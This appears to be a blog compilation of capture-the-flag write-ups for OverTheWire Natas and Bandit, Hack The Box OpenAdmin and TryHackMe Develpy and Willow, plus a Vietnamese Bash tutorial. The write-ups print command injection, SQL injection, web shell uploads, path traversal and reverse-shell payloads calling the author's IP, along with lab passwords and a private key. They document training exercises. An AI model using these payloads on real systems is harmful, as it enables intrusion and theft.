OverTheWire write-up: Natas

Link: https://overthewire.org/wargames/natas/

In this challenge, I used Burp Suite Community Edition for intercepting and modifying the requests.

Level 0

We just need to access the website and login:

Username: natas0
Password: natas0
URL:      http://natas0.natas.labs.overthewire.org

Level 0 → Level 1

After logging in, we view the Page Source, and the password was commented:

g9D9cREhslqBKtcA2uocGHPfMZVzeFK6

Level 1 → Level 2

Again, the password is in the Page Source:

h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7

Level 2 → Level 3

There is no password this time:

But, there is a path, files/pixel.png. Then, we access this link:

http://natas2.natas.labs.overthewire.org/files/

We found an interesting file, users.txt. Read this file and we got the password.

http://natas2.natas.labs.overthewire.org/files/users.txt

G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q

Level 3 → Level 4

Access the link: http://natas3.natas.labs.overthewire.org/robots.txt

And we found the secret:

http://natas3.natas.labs.overthewire.org/s3cr3t/

The password is inside users.txt.

tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

Level 4 → Level 5

We have a message:

Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/" 

In the request, we can see the Referer Header:

We need to change it to:

Referer: http://natas5.natas.labs.overthewire.org/
Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD

Level 5 → Level 6

There is a message in the webpage:

Access disallowed. You are not logged in

In the request, we can see:

Cookie: loggedin=0

So, that Cookie is used for verifying the login. Change the value into 1, and we are granted the access.

fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR

Level 6 → Level 7

In this level, we have a form.

View the source code:

The program will check if we send the correct secret or not, and the secret is from includes/secret.inc.

We can access that file with:

http://natas6.natas.labs.overthewire.org/includes/secret.inc

Then, we just need to submit the secret.

jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr

Level 7 → Level 8

We have 2 pages here.

With the link:

http://natas7.natas.labs.overthewire.org/index.php?page=home

So, to read the password, we just need to change the parameter page in the link into:

http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8

a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

Level 8 → Level 9

The secret was encrypted this time, and we have to try to decrypt it.

This is a simple python script that I used to do it.

import base64
print(base64.b64decode(bytes.fromhex('3d3d516343746d4d6d6c315669563362')[::-1]).decode("utf-8"))

And we got the secret.

oubWYf2kBq
Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd

Level 9 → Level 10

We have a different website this time.

After submitting a string, we have:

http://natas9.natas.labs.overthewire.org/?needle=a&submit=Search

View the source code:

This is Command Injection Vulnerability, we will exploit it with:

& cat /etc/natas_webpass/natas10

The link became: http://natas9.natas.labs.overthewire.org/?needle=%26+cat+%2Fetc%2Fnatas_webpass%2Fnatas10&submit=Search

D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

Level 10 → Level 11

There is an input filter this time.

View the source code:

To bypass the filter, we use:

a %0a cat /etc/natas_webpass/natas11
1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg

Level 11 → Level 12

View the source code:

From the code, we can see that the original Cookie is:

{"showpassword":"no","bgcolor":"#ffffff"}

Then, it was encrypted with XOR using a key, encoded with Base64, and we have the Cookie (note that %3D is =):

MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgpbjY=

To find the XOR key, we need to decode the Cookie, and XOR with the original Cookie (JSON format).

We can use CyberChef to solve this challenge.

We found the key, which is KNHL.

After that, we need a Cookie, which contains "showpassword":"yes", so that the website will display the password.

Use CyberChef again to create a new Cookie.

Send this Cookie to the server:

We now have the password.

YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG

Level 12 → Level 13

We have an upload function in this level.

View the source code:

This website uses PHP, so we think about uploading a web shell. The web shell that I used is easy-simple-php-webshell.php.

Upload the file to the server, we got:

The extension has been changed. This is due to there is a hidden input to keep the extension .jpg.

Hence, we will modify the request to keep the extension .php.

The original request:

After being modified:

And we have:

Access the web shell at:

http://natas12.natas.labs.overthewire.org/upload/8xftm7ehcj.php

Then run the command:

cat /etc/natas_webpass/natas13

We found the password.

lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9

Level 13 → Level 14

Another upload function:

View the source code, the file will be checked this time to ensure it is a JPG file.

This function will only check the Signature of the file, we can find the signature of JPG in JPG Signature Format. It is: FF D8 FF E0

We use the same web shell as in the previous level, but we will use HexEd.it to edit the first 4 bytes of the web shell.

Download the new file, and upload it to the server. Remember to modify the request to keep the extension .php like we did.

Then, we do the same as in level 12.

qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP

Level 14 → Level 15

We have a login form this time.

View the source code:

This is just a simple SQL injection vulnerability. We use the payload (note that there is a space after --):

natas15"-- 
TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB

Level 15 → Level 16

View the source code:

If we enter “natas16“, we get:

This user exists.

For a random string, we get:

This user doesn't exist.

The code just returns if the user exists or not, so this is a blind SQL injection vulnerability.

We will use sqlmap for this level.

First, save the request to a text file.

And use sqlmap:

python sqlmap.py -r request.txt --prefix='natas16" '

The SQL injection vulnerability is confirmed.

We can dump all the data in table ‘users‘ with:

python sqlmap.py -r request.txt --prefix='natas16" ' --dbms=mysql --batch --dump -T users
TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V

OverTheWire write-up: Bandit

Link: https://overthewire.org/wargames/bandit/

Level 0

This level is just for the connection. We connect to the machine with the credential: bandit0:bandit0

ssh bandit.labs.overthewire.org -p 2220 -l bandit0

Level 0 → Level 1

After connecting successfully, we read the file readme to get the password.

NH2SXQwcBdpmTEzi3bvBHMM9H66vVXjL

Level 1 → Level 2

We need to read a file named ‘-‘.

cat < -
rRGizSaX8Mk1RTb1CNQoXTcYZWU6lgzi

Level 2 → Level 3

There is a file with spaces in the name.

cat 'spaces in this filename'
aBZ0W5EmUfAf7kHTQeOwd8bauFJ2lAiG

Level 3 → Level 4

There is a hidden file, so to see the file, we use the following:

ls -la

Then, to read the file:

cat .hidden
2EW7BBsr6aMMoJ2HjW067dm8EgX26xNe

Level 4 → Level 5

There are many files at this level.

Read these files and we found the password.

cat < -file07
lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR

Level 5 → Level 6

We have the file’s size is 1033 bytes. So, we use find command to search for the file.

find . -size 1033c
cat ./inhere/maybehere07/.file2
P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU

Level 6 → Level 7

At this level, we have the file’s properties:

So, we use find command again.

find / -user bandit7 -group bandit6 -size 33c 2>/dev/null
cat /var/lib/dpkg/info/bandit7.password
z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S

Level 7 → Level 8

We use grep to find the word millionth.

cat data.txt | grep millionth
TESKZC0XvTetK0S9xNwm25STk5iWrBvP

Level 8 → Level 9

We need to sort the content in data.txt, then use uniq command to find the unique line.

sort data.txt | uniq -u
EN632PlfYiZbn3PhVK3XOGSlNInNE00t

Level 9 → Level 10

We can find the password with grep.

cat data.txt | grep -a "=====*"
G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s

Level 10 → Level 11

The password is encoded using base64.

base64 -d data.txt
6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM

Level 11 → Level 12

The password is encoded using Caesar Cipher with 13-position rotation, decode it with Caesar Cipher.

JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv

Level 12 → Level 13

data.txt is a hexdump of a file. So, we need to reverse it.

First, create a new temporary directory and copy the file there, so we can work with it.

And reverse the file with:

xxd -r data.txt > data

data now is a gzip compressed file. Because the file has been repeatedly compressed, we will need to change its name and decompress it multiple times.

wbWdlBxEir4CaE8LaPhauuOo6pwRmrDw

Level 13 → Level 14

There is a private key file.

We find all the open ports with nmap:

nmap -p- localhost

There are many open ports, and we try to connect ssh using these ports and the private key file.

ssh -i sshkey.private bandit14@localhost -p 2220

Then, we can read the password.

cat /etc/bandit_pass/bandit14
fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq

Level 14 → Level 15

We use netcat command to submit the password to the open port.

echo fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq | nc localhost 30000
jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt

Level 15 → Level 16

We will submit the password using SSL encryption.

echo jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt | openssl s_client -connect localhost:30001 -quiet
JQttfApK4SeyHwDlI9SXGR50qclOAil1

Level 16 → Level 17

We find the open ports with the services by using nmap command.

nmap -p 31000-32000 localhost -sV

Then, we found 1 port speaks SSL without an echo, and we submit the password like the previous level.

echo JQttfApK4SeyHwDlI9SXGR50qclOAil1 | openssl s_client -connect localhost:31790 -quiet
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----

Save the private key into a file in the temporary directory.

Then, change the permission to 600, so we can use the private key to connect to ssh.

chmod 600 id.rsa
ssh -i id.rsa bandit17@localhost -p 2220
cat /etc/bandit_pass/bandit17
VwOSWtCA7lRKkTfbr2IDh6awj9RNZM5e

Level 17 → Level 18

We just need to compare two files.

diff passwords.new passwords.old
hga5tuuCLF6fFzUpnagiMN8ssu9LFrdg

Level 18 → Level 19

When logging in normally, we got ‘Byebye !‘. Because .bashrc has been modified, we use -t option of ssh, which is:

Force pseudo-terminal allocation. This can be used to execute arbitrary screen-based programs on a remote machine, which can be very useful, e.g. when implementing menu services.
ssh -t bandit.labs.overthewire.org -p 2220 -l bandit18 /bin/sh

Then, we can read the password.

awhqfNnAbc1naukrpqDYcF95h7HoMTrC

Level 19 → Level 20

Try to execute the file.

So, we can run the command with user bandit20‘s privileges by using the file.

./bandit20-do cat /etc/bandit_pass/bandit20
VxCazJaVykI6W36BkBU0mJTCM8rR95XT

Level 20 → Level 21

Try to execute the file, and we got:

This program will connect to the given port on localhost using TCP. If it receives the correct password from the other side, the next password is transmitted back.

So, we will create a listener by netcat on other terminal.

nc -l 1234

On the first terminal, connect to the netcat listener using the same port.

./suconnect 1234

Then, from the listener, send the password of bandit20, and we got a new password.

On the first terminal:

NvEJF7oVjkddltPSrdKEFOllh9V1IBcq

Level 21 → Level 22

Check the /etc/cron.d/ directory to see what is scheduled.

ls -la /etc/cron.d/
cat /etc/cron.d/cronjob_bandit22

So, user bandit22 will run this command every minute.

/usr/bin/cronjob_bandit22.sh &> /dev/null

Check what is in the file.

cat /usr/bin/cronjob_bandit22.sh

And we found that user bandit22 saves the password into a file, which is /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv.

Read the file to get the password.

cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff

Level 22 → Level 23

As we did before, we can see what the user bandit23 executes.

cat /etc/cron.d/cronjob_bandit23
cat /usr/bin/cronjob_bandit23.sh

bandit23 saves the password in to a file named after a variable, ‘mytarget‘. To find what is its value, we run the same command.

echo I am user bandit23 | md5sum | cut -d ' ' -f 1

And we found the file, read that file to get the password.

cat /tmp/8ca319486bfbbc3663ea0fbe81326349
QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G

Level 23 → Level 24

Redo what we did again, we have:

cat /etc/cron.d/cronjob_bandit24
cat /usr/bin/cronjob_bandit24.sh

We can see that user bandit24 runs all the scripts inside /var/spool/bandit24/foo every minute. So, we will make them copy their password to a new file that we can read.

We write a shell script:

#!/bin/bash

cat /etc/bandit_pass/bandit24 > /tmp/bandit24_niek
chmod 777 /tmp/bandit24_niek

Copy the script to the directory:

cp shell.sh /var/spool/bandit24/foo

Then, we have the password.

cat /tmp/bandit24_niek
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar

Level 24 → Level 25

Try to send the password and a random pincode to see how it works.

echo 'VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0000' | nc localhost 30002

We will create a shell script to brute force the pincode and send to the port.

#!/bin/bash

for i in {0000..9999}; do
	echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i"
done | nc localhost 30002 | grep -v Wrong

Create the shell script in /tmp directory and make it executable.

vi shell.sh
chmod +x shell.sh
./shell.sh
p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

Bash/Shell cơ bản

Với các ngôn ngữ lập trình phổ biến như C hay Java, chúng ta cần rất nhiều dòng lệnh cùng các câu lệnh phức tạp để chạy một chương trình. Đó là chưa kể đến việc cần cài đặt thêm IDE để có thể viết được một chương trình hoàn chỉnh.

Vậy sẽ ra sao nếu như chúng ta có thể viết những dòng code ngắn gọn, lưu vào một file và có thể thực thi dễ dàng mà không cần cài đặt gì. Trong bài viết này, tôi sẽ giới thiệu với mọi người cách sử dụng bash shell cơ bản.

I. Giới thiệu

Kịch bản Shell (Shell script) là một chương trình máy tính được thiết kế để chạy trên nền tảng Unix/Linux. Bao gồm các loại:

  • The Bourne Shell
  • The C Shell
  • The Korn Shell
  • The GNU Bourne-Again Shell (Bash Shell)

Shell là một trình diễn dịch các dòng lệnh và các thao tác được viết bởi kịch bản shell bao gồm xử lý file và thực thi các chương trình.

Bash shell là shell tiêu chuẩn và thông dụng nhất, là một ngôn ngữ kịch bản cho phép chúng ta sử dụng shell và tự động hoá rất nhiều tác vụ bao gồm nhiều dòng lệnh.

Bash shell đã và đang được ứng dụng nhiều trong Machine Learning nhờ sự tiện dụng của mình trong việc code và xử lý dữ liệu.

II. So sánh với ngôn ngữ lập trình

Ngôn ngữ lập trình
(Programming language)
Ngôn ngữ kịch bản
(Scripting language)
Là một ngôn ngữ trên cơ sở biên dịch (compiler-based language). Cần được biên dịch thành các file có thể thực thi (ví dụ file .exe). Là một ngôn ngữ trên cơ sở diễn dịch (interpreter-based language). Trình diễn dịch sẽ đọc các câu lệnh trong file nguồn và thực thi từng câu lệnh.
Được thiết kế với đầy đủ tính chất của một ngôn ngữ. Được thiết kế để có thể code nhanh và đơn giản.
Phức tạp khi code, cần rất nhiều dòng lệnh cho một hàm. Dễ dàng khi code, chỉ cần một số dòng lệnh ngắn gọn trong mỗi hàm.
Ví dụ: C, C++, Java Ví dụ: Shell, Python, Javascript

III. Một số kiến thức cơ bản

1. Thực thi chương trình đầu tiên

Dòng lệnh đầu tiên bắt buộc có là:

#!/bin/bash

Dòng lệnh này là một shebang. Câu lệnh này nói cho shell chương trình được chọn để diễn dịch khi thực thi file (trong trường hợp này, file sẽ được thực thi bởi bash shell).

chmod +x scriptname

Cấp phát quyền thực thi cho file.

./scritpname

Câu lệnh trên là câu lệnh thực thi chương trình.

  • Ví dụ chương trình:
#!/bin/bash
echo "Hello World"

Khi thực thi, chương trình sẽ in dòng “Hello World” vào standard output (terminal).

2. Biến (Variable)

Trong Bash Shell, chúng ta có thể sử dụng biến như trong các ngôn ngữ lập trình khác. Giá trị của biến luôn được lưu trữ ở dạng xâu (String), nhưng trong một số công thức toán học, giá trị của biến được chuyển về dạng số để tính toán.

Chúng ta không cần khai báo biến, chỉ cần gán giá trị cho một biến là xong.

  • Ví dụ:
#!/bin/bash
STR="Hello World!"
echo $STR

Dòng thứ 2 tạo một biến tên STR và gán giá trị “Hello World!” cho biến đó. Sau đó, chúng ta đặt kí tự ‘$‘ trước tên biến để lấy giá trị của biến.

Chú ý!!! Ngôn ngữ Shell không gán kiểu giá trị cho các biến. Vì vậy, một biến có thể giữ giá trị số hoặc kí tự.

#!/bin/bash
count=0
count=Sunday

Tuy nhiên, việc thay đổi kiểu giá trị của một biến có thể dẫn đến khó khăn cho người viết cũng như người sửa chương trình về sau. Vậy nên, mọi người chỉ nên sử dụng một kiểu giá trị cho một biến trong chương trình.

3. Công thức số học (Arithmetic operation)

Câu lệnh “let” được cùng để thực hiện các hàm tính toán.

#!/bin/bash
let X=10+2*7
echo $X

Chương trình sẽ in giá trị của X là 24.

Ngoài ra, ta có thể sử dụng $[expression] hoặc $((expression)).

#!/bin/bash
echo "$((123+20))"

Chương trình in ra 143.

#!/bin/bash
VAL=$[123+20]
echo "$[123*$VAL]"

Chương trình in ra 17589.

4. Câu lệnh điều kiện (Decision-making statement)

Câu lệnh điều kiện giúp chúng ta quyết định có thực hiện một hành động hay không, quyết định này được đưa ra sau khi xét qua một điều kiện.

Câu lệnh có dạng:

if [ expression ];
then
    statements
elif [ expression ];
then
    statements
else
    statements
fi

elif” (else if) và “else” có thể không cần thiết trong một vài trường hợp.

Chú ý!!! Bắt buộc phải có khoảng trống (space) sau dấu ‘[‘, trước dấu ‘]‘ và giữa các toán tử, toán hạng.

5. Các điều kiện (Expression)

Một điều kiện có thể là: So sánh xâu, so sánh số, kiểm tra file hoặc các biểu thức logic.

So sánh xâu:

= hai chuỗi có bằng nhau không?
!= hai chuỗi có khác nhau không?
-n chuỗi có độ dài lớn hơn 0?
-r chuỗi có độ dài bằng 0?
#!/bin/bash
echo "Enter your login name: "
read name
if [ "$name" = "$USER" ];
then
echo "Hello, $name. How are you today?"
else
echo "You are not $USER, so who are you?"
fi

So sánh số:

-eqhai số có bằng nhau không?
-gesố thứ nhất có lớn hơn hoặc bằng số thứ hai?
-lesố thứ nhất có nhỏ hơn hoặc bằng số thứ hai?
-nehai số có khác nhau không?
-gtsố thứ nhất có lớn hơn số thứ hai?
-ltsố thứ nhất có nhỏ hơn số thứ hai?
#!/bin/bash
echo "Enter a number: "
read i
if [ $i -eq 1 ];
then
echo "Your input is 1."
else
echo "Your input is not 1."
fi

Kiểm tra file:

-dđường dẫn có phải là một thư mục không?
-fđường dẫn có phải một file không?
-etên file có tồn tại không?
-rfile hoặc thư mục có được cấp quyền đọc (read) không?
-sđộ dài của file có lớn hơn 0?
-wfile hoặc thư mục có được cấp quyền viết (write) không?
-xfile hoặc thư mục có được cấp quyền thực thi (execute) không?

Biểu thức logic:

!NOT
-aAND
-oOR
#!/bin/bash
echo "Enter a number: "
read i
if [ $i -eq 1 -o $i -eq 0 ];
then
echo "$i is either 1 or 0."
else
echo "$i is neither 1 nor 0."
fi

Chương trình kiểm tra dữ liệu nhập vào có phải là 0 hoặc 1.

6. Tham số (Parameter)

Tham số vị trí được truyền vào trong câu lệnh thực thi chương trình.

  • Ví dụ:
./scritpname 14 15

Câu lệnh truyền vào chương trình hai tham số $1 = 14$2 = 15.

Một số tham số đặc biệt:

$#số lượng tham số truyền vào
$0trả về tên của kịch bản đang chạy và vị trí của nó
$*trả về tất cả các tham số đã truyền vào
$@trả về chuỗi các tham số đã truyền vào
  • Ví dụ:
#!/bin/bash
if [ $# -eq 1 ]
then
echo "You entered 1 parameter and it is $1."
else
echo "You entered 0 or more than 1 parameter."
fi

Chương trình kiểm tra số lượng tham số đã truyền vào.

7. Câu lệnh vòng lặp (Loop)

Câu lệnh “for” được sử dụng để duyệt một chuỗi các giá trị của biến.

for var in list
do
statements
done

Khi thực thi, biến var sẽ được lần lượt gán các giá trị trong danh sách (list).

  • Ví dụ:
#!/bin/bash
let sum=0
for num in 1 2 3 4 5
do
let "sum = $sum + $num"
done
echo $sum

Chương trình tính tổng các số từ 1 đến 5, in ra kết quả là 15.

Sử dụng mảng trong vòng lặp:

Trong bash shell, chúng ta có thể sử dụng mảng để lưu trữ dữ liệu. Có 2 cách để tạo một mảng:

#!/bin/bash
pet[0]=dog
pet[1]=cat
pet[2]=fish
#!/bin/bash
pet=(dog cat fish)

Để lấy ra một giá trị trong mảng, ta sử dụng: ${arrayname[i]}

  • Ví dụ: ${pet[0]} là giá trị thứ nhất trong mảng, mang giá trị “dog

Để lấy ra tất cả các giá trị của một mảng, ta sử dụng: ${arrayname[*]}

#!/bin/bash

pet=(dog cat fish)

for x in ${pet[*]}
do
echo $x
done

Chương trình trên in ra tất cả các giá trị của mảng pet.

IV. Bổ sung

Ngoài ra, với bash shell, người dùng có thể sử dụng câu lệnh rẽ nhánh case, vòng lặp while và các hàm như trong các ngôn ngữ lập trình khác.

1. Câu lệnh rẽ nhánh case:

#!/bin/bash
echo "Enter a number 0 < x < 10:"
read x
case $x in
1) echo "Value of x is 1.";;
2) echo "Value of x is 2.";;
3) echo "Value of x is 3.";;
4) echo "Value of x is 4.";;
5) echo "Value of x is 5.";;
6) echo "Value of x is 6.";;
7) echo "Value of x is 7.";;
8) echo "Value of x is 8.";;
9) echo "Value of x is 9.";;
*) echo "Unregonized value.";;
esac

2. Vòng lặp while:

#!/bin/bash
echo "Enter a number:"; read x
let sum=0; let i=1
while [ $i -le $x ]; do
let "sum = $sum + $i"
let i=$i+1
done
echo "The sum of the first $x numbers is: $sum"

3. Chương trình sử dụng hàm (function):

#!/bin/bash

# Define your function here
Hello () {
echo "Hello World"
}

# Invoke your function
Hello

4. Một chương trình trong bash shell

Đây là chương trình kiểm tra số nguyên tố do người dùng nhập vào.

#!/bin/bash
if [ $# -ne 1 ]; then
echo "You should input a number."
else
if [ $1 -le 1 ]; then
echo "$1 is not a prime number."
exit 0
fi
x=$(echo "scale=2;sqrt($1)") | bc)
x=$(x%.*)
for i in $(seq 2 $x); do
a=$(($1 % $i))
if [ $a -eq 0 ]; then
echo "$1 is not a prime number."
exit 0
fi
done
echo "$1 is a prime number."
fi

V. Kiến thức nâng cao

1. Điều hướng input/output

Chương trình có mặc định input tiêu chuẩn được nhận từ một thiết bị, như bàn phím. Output tiêu chuẩn là terminal.

Linux có hỗ trợ người dùng trong việc điều hướng input, output khi cần sử dụng một input, output khác.

  • Ví dụ:
#!/bin/bash
who > users

Chương trình lưu thông tin người dùng vào file “users”.

<nhận input
>ghi đè vào file
>>ghi thêm vào file

2. Regular Expressions

Regular Expressions (Regexs) được sử dụng để tìm kiếm văn bản hoặc xử lí dữ liệu xâu.

Một regex có thể gồm:

  • Một chuỗi kí tự.
    Ví dụ [ae] có thể gắn với một kí tự ‘a’ hoặc một kí tự ‘e’.
    Ta có thể sử dụng gr[ae]y để tìm kiếm hai từ là “gray” hoặc “grey”
  • Một anchor (mỏ neo).
    Ví dụ $ gắn với vị trí ở sau kí tự cuối cùng trong xâu.
    “c$” có thể gắn với “abc” vì ‘c’ ở vị trí cuối trong xâu. Nhưng “a$” thì không thể gắn với xâu trên.
  • Các modifiers.
    Ví dụ (?i) khiến cho regex không phân biệt chữ hoa, chữ thường.
    “(?i)te(?-i)st” có thể gắn với “”test” hoặc “TEst”, nhưng không thể gắn với “teST” hay “TEST”.

3. sed và awk

a. sed

sed là một công cụ biên tập các dòng dữ liệu. sed nhận các văn bản đầu vào, thực thi một số lệnh trên từng dòng một, và sau đó trả dữ liệu ra về output tiêu chuẩn hoặc một file.

Một số lệnh của sed:

[address-range]/pin ra dòng
[address-range]/dxóa dòng
s/pattern1/pattern2/thay đổi vị trí đầu tiên của pattern1 thành pattern2
[address]i pattern Filenamechèn pattern vào vị trí nói đến trong file
gáp dụng thay đổi cho tất cả các vị trí của pattern
  • Ví dụ:
#!/bin/bash
sed -i 's/foo/bar/g' hello.txt
cat hello.txt

Chương trình thay đổi các từ “foo” thành “bar” trong file “hello.txt”

b. awk

awk là một công cụ xử lý văn bản. awk chia nhỏ mỗi dòng thành các trường nhỏ (fields) và xử lí.

  • Ví dụ:
#!/bin/bash
# $1 is field #1, $2 is field #2, etc.
echo one two | awk '{print $1}'
# one
echo one two | awk '{print $2}'
# two

# But what is field #0 ($0)?
echo one two | awk '{print $0}'
# one two
# All the fields!

awk '{print $3}' $filename
# Prints field #3 of file $filename to stdout.
awk '{print $1 $5 $6}' $filename
# Prints fields #1, #5, and #6 of file $filename.

awk '{print $0}' $filename
# Prints the entire file!

Reference:

  1. Advanced Bash-Scripting Guide
  2. tutorialspoint – Shell Scripting Tutorial
  3. vietjack – Shell là gì? (bản tiếng Việt của tutorialspoint)

Hack The Box solution: OpenAdmin ~ 10.10.10.171

Enumeration

Scan open ports with RustScan:

Use dirsearch:

python3 dirsearch.py -u http://10.10.10.171/

Access: http://10.10.10.171/ona/

We see that: “Your version = v18.1.1”

Search in Exploit Database, we have OpenNetAdmin 18.1.1 – Command Injection Exploit (Metasploit).

Foothold

Send POST request to the server with the data:

xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo+'begin';id;echo+'end';&xajaxargs[]=ping

And the command executed.

Stand a netcat listener in our machine:

nc -lvnp 1234

Call to our listener with:

xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo+'begin';bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.11/1234+0>%261';echo+'end';&xajaxargs[]=ping

There are 2 users:

We will get jimmy‘s password in /opt/ona/www/local/config/database_settings.inc.php

Spawn a TTY shell with:

python3 -c 'import pty;pty.spawn("/bin/bash");'

Change to jimmy:

su jimmy

Find jimmy‘s files with:

find / -type f -user jimmy 2>/dev/null | grep -v '/proc/'

We found 3 files:

Read main.php

index.php

So, we need to login as jimmy and we will have joanna‘s ssh private key.

Check local open ports with:

(netstat -punta || ss --ntpu)

So I think internal is hosted in port 52846.

And we can easily get the key with:

curl localhost:52846/main.php -H 'Session: username=jimmy'

Save the key to a file named id_rsa.

We will use JohntheRipper ssh2john.py to crack the private key.

python3 ssh2john.py id_rsa > hash

Next, we use JohntheRipper and rockyou.txt.

john-the-ripper -w=rockyou.txt hash

Then, we can connect to ssh:

chmod 600 id_rsa
ssh -i id_rsa joanna@10.10.10.171

And we have the key.

Privilege Escalation

Check what we can do with:

sudo -l

Follow steps in GTFOBins, we can easily get root.

sudo nano /opt/priv
^R^X
reset; sh 1>&0 2>&0

TryHackMe solution: Develpy

Link: https://tryhackme.com/room/bsidesgtdevelpy

#1 “user.txt

Scan open ports with RustScan:

rustscan -a 10.10.98.118 -- -sCV

Access: http://10.10.98.118:10000/

So, we can run a python file with the request we send.

I found the idea in python input vulnerability.

We will use __builtin__  module to execute command.

__import__("os").system("id")

And the command executed.

Stand a netcat listener in our machine:

nc -lvnp 1234

Get a reverse shell with:

__import__("os").system("bash -c 'bash -i >& /dev/tcp/10.6.63.158/1234 0>&1'")
#2 “root.txt

Check crontab:

cat /etc/crontab

User root run /home/king/root.sh every minute.

Check permission of root.sh

We cannot modify it but we can delete it because it’s in our home, so replace it with a new file.

rm -rf root.sh
echo '/bin/bash -i >& /dev/tcp/10.6.63.158/1235 0>&1' > root.sh

Stand a netcat listener in our machine again:

nc -lvnp 1235

TryHackMe solution: Willow

Link: https://tryhackme.com/room/willow

#1 “User Flag:

Scan open ports with RustScan:

rustscan -a 10.10.166.166 -- -sCV

Access the web, we have a number string. Decode the string with Hex to Text.

Hey Willow, here's your SSH Private key -- you know where the decryption key is!
...

So, this is a RSA encryption string, save this to a file named ‘rsa.txt‘. We have to find the private key.

Port 111 is open, we will show mount with:

showmount -e 10.10.166.166

We will mount this directory to our machine:

mkdir willow
sudo mount -t nfs 10.10.166.166:/var/failsafe willow

And we have rsa_keys file:

